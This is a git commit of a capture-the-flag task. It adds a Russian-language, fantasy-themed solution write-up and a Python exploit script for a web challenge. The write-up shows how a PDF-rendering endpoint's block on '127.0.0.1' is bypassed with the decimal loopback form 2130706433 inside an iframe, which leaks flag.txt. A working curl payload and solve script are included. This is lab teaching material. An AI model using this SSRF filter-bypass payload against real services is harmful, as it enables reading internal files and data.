Init. commit

This commit is contained in:
Caplag
2026-03-02 21:44:22 +03:00
committed by Ivan Z
commit 9511b38280
38 changed files with 4397 additions and 0 deletions

View File

@@ -0,0 +1,24 @@
# Web 1.2 Страж Портала Локхолда
В Портале Локхолда стоит Страж: он не пропускает запретные имена, но не знает истинных числовых титулов. Архимаг печатает свитки, и через печать можно заглянуть туда, куда запрещено смотреть.
## Решение
Фильтр блокирует строку `127.0.0.1`, но не все эквивалентные формы `loopback`-адреса. Если использовать числовое представление (`2130706433` или `0x7f000001`), проверка обходится, и рендерер открывает тот же локальный адрес.
Дальше всё стандартно: вставляем URL в `iframe` внутри HTML-свитка, отправляем контент на `/seal` и получаем PDF с содержимым `flag.txt`.
## Пример
Вариант через `curl`:
```bash
curl -s -X POST http://localhost:8000/seal \
-F 'content=<h1>Королевский Указ</h1><iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>' \
-F 'format=html' \
-o scroll.pdf
```
Также можно воспользоваться готовым скриптом `solve/exploit.py`:
```bash
python solve/exploit.py http://localhost:8000
```

View File

@@ -0,0 +1,27 @@
import sys
import requests
def main():
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
payload = """
<h1>Королевский Указ</h1>
<p>Приложение: донесение из Локхолда</p>
<iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>
""".strip()
resp = requests.post(
f"{base}/seal",
data={"content": payload, "format": "html"},
timeout=10,
)
resp.raise_for_status()
with open("scroll.pdf", "wb") as f:
f.write(resp.content)
print("saved scroll.pdf")
if __name__ == "__main__":
main()